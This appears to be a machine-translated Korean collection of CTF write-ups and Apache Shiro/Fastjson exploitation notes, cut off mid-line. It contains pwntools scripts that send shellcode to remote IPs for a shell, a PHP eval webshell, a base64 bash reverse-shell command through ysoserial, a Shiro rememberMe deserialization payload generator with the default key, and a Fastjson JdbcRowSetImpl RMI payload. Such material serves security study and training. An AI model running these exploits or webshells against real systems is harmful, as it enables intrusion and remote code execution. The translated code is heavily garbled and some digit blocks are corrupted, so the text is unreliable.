0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000

N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600

NC 연결 제출

image-20250403151353410

username3:admin-jm password:jm001x를 얻으십시오!

FLAG:

MD5 (admin-JM+JM001X!)

image-20250403151635504

또는:

#SAGE 9.5

crypto.util.number import *에서 *

PWN 가져 오기 *

SYS 가져 오기

sys.set_int_max_str_digits (0)

DEF 상호 작용 (IO, X, Y) :

io.recvuntil (b': ')

io.sendline (b'2 ')

io.recvuntil (b'n1 ~ ')

io.sendline (str (x) .encode ())

io.recvuntil (b'n2 ~ ')

io.sendline (str (y) .encode ())

io.recvline ()

반환 io.recvline ()

D=42232

Check=2 **0x149f

def solve_pell (n) :

cf=conayd_fraction (sqrt (n))

i=0

WHILETRUE:

I +=1

Denom=cf.denominator (i)

숫자=cf.numerator (i)

if (((숫자 -1) //2)=check) 또는 (Denom=Check) :

계속 계속하십시오

숫자^2 -n * delom^2==1: 인 경우

x, y=int ((숫자 -1) //2), int (denom)

RES=상호 작용 (io, x, y)

ifb'sorry'in res:

계속 계속하십시오

반환 해상도

IO=원격 ('47 .117.41.252 ','33410 ')

context.log_level='디버그'

RES=SOLVE_PELL (D)

인쇄 (RES)

io.interactive ()

#b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag:

B7133D84297C307A92E70D7727F55CBC

2.SCSC

제목 설명 :

프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오.

질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다.

여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다.

다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다

이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다.

다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다.

PWN 가져 오기 *

std_pwn 가져 오기 *

Crypto에서 Cipher Import AES에서

crypto.util.padding 가져 오기 패드

DefgetProcess (IP, 포트, 이름) :

글로벌 p

iflen (sys.argv) 1 및 sys.argv [1]=='r':

P=원격 (IP, 포트)

반환 p

else:

p=프로세스 (이름)

반환 p

SL=LAMBDA X: P.SENDLINE (X)

SD=Lambda x: P.Send (X)

SA=Lambda X, Y: P.SendAfter (X, Y)

SLA=LAMBDA X, Y: P.Sendlinter (x, y)

RC=Lambda X: P.RECV (X)

rl=lambda: p.recvline ()

ru=lambda x: p.recvuntil (x)

ita=lambda: p.interactive ()

SLC=LAMBDA: ASM (Shellcraft.sh ())

uu64=lambda x: u64 (x.ljust (8, b '\ 0'))

UU32=Lambda x: U32 (x.ljust (4, b '\ 0'))

# Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32

defaes_ecb_encrypt (PlainText) :

인쇄 (일반 텍스트)

C inb'0Moyhjlcit1zkbnrnchag':의 경우

일반 텍스트 3: 인 경우

print (f '{chr (c)} in in it!')

# 육각형 문자열 키를 바이트로 변환합니다

키=B'862410C4F93B77B4 '

# AES 암호화를 만듭니다

cipher=aes.new (key, aes.mode_ecb)

# 일반 텍스트를 채우고 암호화하십시오

padded_plaintext=pad (PlainText, aes.block_size)

ciphertext=cipher.encrypt (padded_plaintext)

# ciphertext를 16 진수 문자열로 변환하고 반환합니다

Ciphertext를 반환하십시오

shellcode='' '

RSP를 푸시하십시오

팝 RSI

Mov Edi, 0

Mov EDX,0xff

RDI를 푸시하십시오

팝 락스

SYSCALL

JMP RSP

'' ''

# 01ayhcjitkbn molznrchg

p=getProcess ('47 .117.42.74 ', 32846,'./scsc ')

Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))).

ELF=ELF ( './SCSC')

GDBA ()

페이로드=ASM (ShellCode)

SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode))))

SL (ASM (Shellcraft.sh ()))

ita () 또는

#!/usr/bin/env python3

PWN 가져 오기 *

context.log_level='디버그'

context.arch='amd64'

# io=프로세스 ( './SCSC')

IO=원격 ('47 .117.41.252 ', 33414)

shellcode='' '

XCHG R8, RAX

XCHG R8, RSI

서브 edi, edi

Mov EDX,0x99

서브 eax, eax

SYSCALL

'' ''

payload1=asm (shellcode)

print ( 'shellcode=', payload1.hex ())

Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26')

payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ())

# gdb.attach (io)

io.sendlinter (b'magic data: ', payload1)

정지시키다()

io.send (payload2)

io.interactive ()

3. ez_upload

제목 설명 :

이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www).

문제 절차 :

예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오.

HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다.

Content-Type: Text/Html waf this

접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini

이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다.

PHP7.2 이상, HTACCESS 파일을 구성해야합니다

PNG 2 렌더링이 아닙니다

미들웨어는 아파치이며 취약성을 해결합니까?

파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다.

성공적으로 말을 통과했습니다

?=@eval ($ _ post [ 'cmd']);Image

RSA 키를 찾는 경로는/var/www/rssss4a입니다

Image

4. 데이터 공개 및 개인 정보 보호

제목 설명 :

홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어

여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오.

문제 절차 :

항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기

시로

Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다.

Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화

인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863 : Apache Shiro 인증 우회 취약성

취약성 원칙

Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다.

는 버전에 영향을 미칩니다

Shiro 1.1.0 및 JSecurity 0.9.x

취약성 재발

액세스 페이지 주소는 IP:8080입니다

취약점/관리자

크로스 디렉토리를 사용하여 사전 퍼지 테스트

image.png

image.png

CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550

취약성 원칙

Shiro550 취약점에 속합니다.

Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다.

Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.==

는 버전에 영향을 미칩니다

Apache Shiro=1.2.4

취약성 재발

인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다.

판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다.

image.png

image.png

Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다.

java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} '

shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit).

image.png

shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.)

명령 : Shiro.py 192.168.17.13233606666

Shiro.py:

SYS 가져 오기

UUID 가져 오기

베이스 64 수입

수입 하위 프로세스

Crypto에서 Cipher Import AES에서

def encode_rememberme (명령) :

Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe)

bs=aes.block_size

PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode ()

key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==')

iv=uuid.uuid4 (). 바이트

alcryptor=aes.new (key, aes.mode_cbc, iv)

file_body=pad (popen.stdout.read ())

base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body))

base64_ciphertext를 반환합니다

__name__=='__ 메인 __': 인 경우

페이로드=encode_rememberme (sys.argv [1])

print ( 'Rememberme={0}'. 형식 (payload.decode ()))

Python3 Shiro.py 192.168.200.12933606666

로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오.

image.png

CVE-2020-1957 : Apache Shiro 인증 우회 취약성

취약성 원칙

프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3).

취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다.

Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다.

는 버전에 영향을 미칩니다

Apache Shiro 1.5.2

취약성 재발

image.png

URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다.

image.png

허가 우회에 대한 악의적 인 요청을 구성

코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오.

URL은 /xxx/.

/xxx/./admin/

image.png

시로 721

취약성 재발 : CVE-2019-12422

환경 : Kali Linux

Docker 빌드 및 시작

git 클론 https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -t Shiro -721.

Docker Run -P 8080:8080 -D Shiro -721

입장:

image.png

image.png

image.png

올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 image.png

Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) image.png Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 image.png가 있다고 말할 수 있습니다.

Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다.

image.png

image.png

도구 활용 :

image.png

FastJson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

취약성 원칙

이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다.

일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용).

@Type 필드

@type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다.

@type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다.

그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다.

jndi

JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다.

JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다.

요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다.

jdbcrowsetimpl은 체인을 사용합니다

Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다.

이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다.

SetAutoCommit 함수를 사용하여 Connect 함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다.

익스플로잇은 다음과 같습니다.

{ "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true}

1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다.

FastJSON DETECTION 버전

1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다.

2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다.

3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다.

CVE-2017-18349 FASTJSON 1.2.24-RCE

0x00 소개

Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다.

0x01 취약성 개요

JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다.

0x02는 버전에 영향을 미칩니다

영향 범위 : FastJson=1.2.24

0x03 환경 구성

CD /VULHUB/FASTJSON/1.2.24-RCE

Docker -Compose Up -D

도커 PS

image.png

Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다

http://192.168.200.16633608090/

image.png

JDK 버전 스위칭

취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오.

dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지

APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지

dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오.

JDK1.8을 다운로드하십시오

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오.

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA